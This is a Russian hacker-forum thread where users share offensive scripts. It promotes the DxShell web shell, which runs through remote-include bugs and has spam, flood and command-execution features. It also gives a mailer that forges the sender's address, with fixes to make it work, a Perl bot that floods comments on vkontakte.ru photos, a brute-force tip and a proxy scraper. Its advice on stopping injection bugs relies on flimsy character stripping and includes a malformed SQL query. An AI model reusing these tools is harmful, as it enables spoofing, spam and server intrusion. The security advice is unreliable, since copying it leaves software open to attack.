"Content-type: text/html"; print "\n\n"; print "<html><head>"; print "<title>$_[0]</title>\n"; print "</head><body $bod>\n"; print "<div align=center><table border=\"0\" cellpadding=\"0\" cellspacing=\"4\" width=\"75%\">\n"; } ################################################################# # Печать HTML - конца # ################################################################# sub print_end { $rand = int rand(10000000); print "</table></div> <p align=center><a href=\"http://www.reklama.ru/cgi-bin/href/land?$rand\" target=\"_top\"><img src=\"http://www.reklama.ru/cgi-bin/banner/land?$rand\" alt=\"www.reklama.ru\" border=\"0\" height=\"60\" width=\"468\"></a></p> <p align=right><font size=-1><a href=\"http://www.script.ru\">Script.Ru</a> <br>Reconstructed for Land.Ru<br>© 1998 <a href=\"mailto:andrey\@script.ru\">Андрей Юрин</a> <br>Create by<br>© 1996 <a href=\"http://www.worldwidemart.com/scripts/formmail.shtml\">Matt Wright</a> </font></p></body></html>\n"; }
DxShell v1.0 by Тынц (php; opensource) - отличный многофункциональный вэб-шелл на PHP. Фичи: - Оптимизирован для работы в include-баге, не требуя заливки на сервер - Все функции (включая скачивание файлов и аутентификацию!!) прекрасно работают в условиях remote include, даже если bug.php засерает вывод (напр. выдаёт какую-нить ошибку прежде чем дать возможность шеллу рудиться). - Поддерживает GZIP для скачанных файлов (по выбору) - Поддерживает аутентификацию (чтоб враг не прошёл) - Не засоряет лишним экран (включи JavaScript). Lite-mode для слабого трафика - Оптимизирован под браузер Opera. но в IE тоже всё в порядке - Графический дизайн в одном флаконе. Все *.gif вручную оптимизированы - Функция самоудаления - Eval-Консоль + Ссылки на часто используемые скрипты - Редактирование Cookie, создание своих - Выполнение системных коман - Мыльные функции: Режим флуда + Режим спама - Транс-кодирование: md5, sha1, crc32, base64, HEX, URL - Портсканер. Настраиваются все параметры. Есть автоскан основных портов, названия известных демонов - Ручная работа с сокетами (fsockopen()). Режим вывода HTML и PLAINTEXT - HTTP-Прокси из браузера. Подделка заголовков: User-Agent, Referer, поддержка POST и COOKIE - Вся информация о файлах, права (включая sticky bit) v - Облегчённый режим для быстрого сёрфинга - удобная навигация мышечная навигация. Показывает как относительный путь, так и абсолютный - Создание папки/файла - Заливка файлов: FORM, FTP, HTTP (В случае неудачи, файл оставляется в /tmp/) - Работа с файлами: CHMOD, Просмотр, Редактирование, Удаление, Переименование, Перемещение, Скачивание, Скачивание с GZIP - Скачивание файла по ссылке HTTP:// - Скачивание/Закачивание по FTP-протоколу - Работа с MySQL: запросы, поиск, дамп и т.д Всю остальную инфу вы найдете в архиве с шеллом Скачать с офсайта hellknights зеркало (пасс на архив: dx) источник: http://hellknights.void.ru
щас мода пошла чтоли каждому свой шелл написать чтоли? помойму тех что есть уже и так с головой хватает
Очень полезный скрипт! Запускаете на Денвере и вся папка заполняется кучей фоток с голыми тетками, ммм... PHP: <? set_time_limit(0); ignore_user_abort(1); error_reporting(0); for ($i=100;$i<=700;$i++) { for ($k=1;$k<=30;$k++) { $f1 = fopen("http://pejnya.ru/new_arhive/photo/$i/$k.jpg", "r"); $buffer = fgets($f1, 24); if ($buffer[6] != "J" || $buffer[7] != "F" || $buffer[8] != "I" || $buffer[9] != "F") break; $f2 = fopen($i."_".$k.".jpg", "w"); while (!feof ($f1)) { fputs($f2, $buffer); $buffer = fgets($f1, 4096); } fputs($f2, $buffer); fclose ($f1); fclose ($f2); } } ?>
Привет, ребята выложите пожалуйста скрипт для подмены поля From в письмах, а то нигде не нашел, а здесь еще его не выкладывали почему то. Спасибо
PHP: <meta Content-type: text/plain; charset=windows-1251> <head> <style> a:link{color:#B9B9BD ; text-decoration: none;} a:hover{color:#B9B9BD ; text-decoration: none;} a:visited{color:#B9B9BD ; text-decoration: none;} body{ padding:10px; background:#2A2E33; font-family:tahoma, verdana, arial; font-size:11px; text-align:center; color:#B9B9BD; } form{ padding:10px; border:1px solid #666; width:300px; height:230px; margin:0 auto; } input{ vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } textarea{ vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } </style> <title>An0niM-Mailer</title> </head> <? if($send) { if($poluchatel) { if($otpravitel) { if($messaga) { $to = "$poluchatel" . ", " ; $subject = "$subj"; $message = $messaga; $headers = "MIME-Version: 1.0\n"; $headers.= "Content-type: text/$tipe; charset=windows-1251\n"; $headers.= "From: $otpravitel\n"; mail($to, $subject, $message, $headers); echo('<center><b><font color="green">Сообщение успешно отправлено</font></b></center>'); } else { echo('<center><b><font color="red">Следует ввести текст сообщения!</font></b></center><br><center>Sn@k3</center>'); } } else { echo('<center><b><font color="red">Введите отправителя письма, то есть ваш e-mail.</font></b></center>'); } } else { echo('<center><b><font color="red">Необходимо ввести получателя данного письма.</font></b></center>'); } }else{ ?> <center><h1>Anonim-Mailer</h1></center> <form name='Send' method='post'> Получатель <input type='text'name='poluchatel' value=''><br> Отправитель<input type='text' name='otpravitel' value=''><br> Тема сообщ. <input type='text' name='subj' value=''><br> <br> htm -> <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> <input type='radio' name='tipe' value='plain'><- text<br> <br> <textarea name='messaga' rows='4' cols='20' value=''></textarea><br><br><input type='submit' name='send' value='Отправить'> </form> <html><?}?>
Генератор пароля по нужным символам + кодировка сгенерированного пароля PHP: <!--(c)NOmeR1--> <html> <head> <title>.Pa$$geN.</title> <style> body{ padding:10px; background:#2A2E33; font-family:tahoma, verdana, arial; font-size:11px; text-align:center; color:#B9B9BD; } form{ padding:10px; border:1px solid #666; width:200px; margin:0 auto; } input{ vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } </style> </head> <body> <? if($_POST['s'] && $_POST['num'] && $_POST['num'] > 2 && $_POST['num'] <= 100) { function passgen($n) { $symb = '!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?№;%-=qwertyuiop[]\asdfghjkl\'zxcvbnm,./'; $pass = ''; for($i=0;$i<$n;$i++) { $pass .= $symb{rand(0,strlen($symb)-1)}; } return htmlspecialchars($pass); } echo ' '.passgen($_POST['num']); } elseif(!$_POST['s']) { ?> <form method="POST"> Кол-во символов: <input type=text name="num"><br> <input type=submit name="s"> </form> <? } else echo(' Поля заполнены некорректно.'); ?> </body> </html>
Грабим свежие прокся с checker.freeproxy.ru Писал когда то для себя решил выложить в массы... PHP: $fp = fsockopen("checker.freeproxy.ru", 80, $errno, $errstr, 10); if ($fp) { $out = "GET /checker/last_checked_proxies.php HTTP/1.1\r\n"; $out .= "Host: checker.freeproxy.ru\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $content = ''; while(!feof($fp)) { $content .= fread($fp,2500); } fclose($fp); $content = str_replace("\n", "@@@", $content); $content = str_replace("\r\n", "@@@", $content); } preg_match_all ("#(<script> <!--)(.*?)(// --></script>)#si", $content , $massiv_java); $count_proxy = count($massiv_java['2'])-1; if($count_proxy ) { for ($i = 0; $i <= $count_proxy; $i++) { $temp_text = $massiv_java['2'][$i]; preg_match_all ("#(name = ')(.*?)(';)#si",$temp_text , $massiv_ip); $ip = $massiv_ip['2']['0']; if($ip) { preg_match_all ("#(':' \+)(.*?)(\);)#si", $temp_text , $massiv_rabot); $code = $massiv_rabot['2']['0']; preg_match_all ("#($code = )(port)(\d{1,2})(.*?)(;)#si", $temp_text , $massiv_rabot); $port_temp = $massiv_rabot['2']['0'].$massiv_rabot['3']['0']; $code = $massiv_rabot['4']['0']; preg_match_all ("#($port_temp = )(.*?)(;)#si", $temp_text , $massiv_rabot); $port_code = $massiv_rabot['2']['0']; $expression = $port_code.$code; eval('$result = '.$expression.';'); echo $insect_proxy = $ip.':'.$result.'<br>'; } } } Может код в некоторых местах корявый но работает на славу...
Спасибо за скрипт, но вот только когда заполняю все поля и нажимаю отправить ничего не происходит, все поля становятся читыми и всё. что не так?
Попробуй заменить PHP: if($send) { if($poluchatel) { if($otpravitel) { if($messaga) { На PHP: if($_POST['send']) { if($_POST['poluchatel']) { if($_POST['otpravitel']) { if($_POST['messaga']) {
Не мог придумать, что написать Решил написать, как избавиться от самых известных багов. XSS. PHP: <? ... $_REQUEST['xss'] = htmlspecialchars($_REQUEST['xss']); echo($_REQUEST['xss']); ... ?> PHP-include. PHP: <? ... if($_REQUEST['file']) { $_REQUEST['file'] = str_replace('/','',$_REQUEST['file']); $_REQUEST['file'] = str_replace('%','',$_REQUEST['file']); $_REQUEST['file'] = str_replace(':','',$_REQUEST['file']); include($_REQUEST['file']); } ... ?> SQL-injection. PHP: <? ... $_REQUEST['id'] = str_replace("'","",$_REQUEST['id']); $_REQUEST['id'] = str_replace('-','',$_REQUEST['id']); $_REQUEST['id'] = str_replace('+','',$_REQUEST['id']); $_REQUEST['id'] = str_replace('/','',$_REQUEST['id']); $_REQUEST['id'] = str_replace('*','',$_REQUEST['id']); $_REQUEST['id'] = str_replace(' ','',$_REQUEST['id']); mysql_query('UNION SELECT id FROM news WHERE id='.$_REQUEST['id']); ... ?>
Зачем изобретать велосипед, если в PHP уже есть готовое решение PHP: function secure_sql($value) { if( get_magic_quotes_gpc() ) { $value = stripslashes( $value ); } if( function_exists( "mysql_real_escape_string" ) ) { $value = mysql_real_escape_string( $value ); } else { $value = addslashes( $value ); } return $value; }
Попробовал, вроде пишет щас , что : Сообщение успешно отправлено, но на ящик пробный не приходят почему то почему интересно?
мой первый скрипт который я выкладываю =) флудит камментами к фотке на сайте vkontakte.ru, м.б. потом переделаю его в спамер, как я понял ограничений на комментарии там нет, спасибо KSURi и genom-- за то что отвечали на мои вопросы по перл Code: #!/usr/bin/perl ###CONFIG### $login = '[email protected]'; $password = 'Pas$W@rD'; $tg = 100; #сколько сообщений слать $target = '50343443'; #id фотки которую будем камментировать $text = 'Йа фотокамментомёт!'; #текст каммента $pause = 0.5; #задержка между запросами ###CONFIG### use LWP::UserAgent; use HTTP::Cookies; $ua = LWP::UserAgent->new; $cookies = HTTP::Cookies->new; $ua->cookie_jar($cookies); $res = $ua->post('http://vkontakte.ru/login.php', { 'referer' => '', 'email' => $login, 'pass' => $password, 'CookieDate' => 1 }); $res = $ua->get('http://vkontakte.ru/profile.php'); while($count < $tg){ $res = $ua->get("http://vkontakte.ru/photos.php?act=show&id=$target&act=post&comment=$text"); print $res->as_string; $count++; sleep($pause); }
Только что заметил... В посимвольном бруте паролей указывают массив из букв и в цикле начинают перебирать все возможные комбинации из них. Не путать с использованием rand().! На мой взгляд проще сделать так: PHP: <?php$string = "aaaaa"; while(strlen($string) == 5) { echo $string .'<br>'; $string++; }?>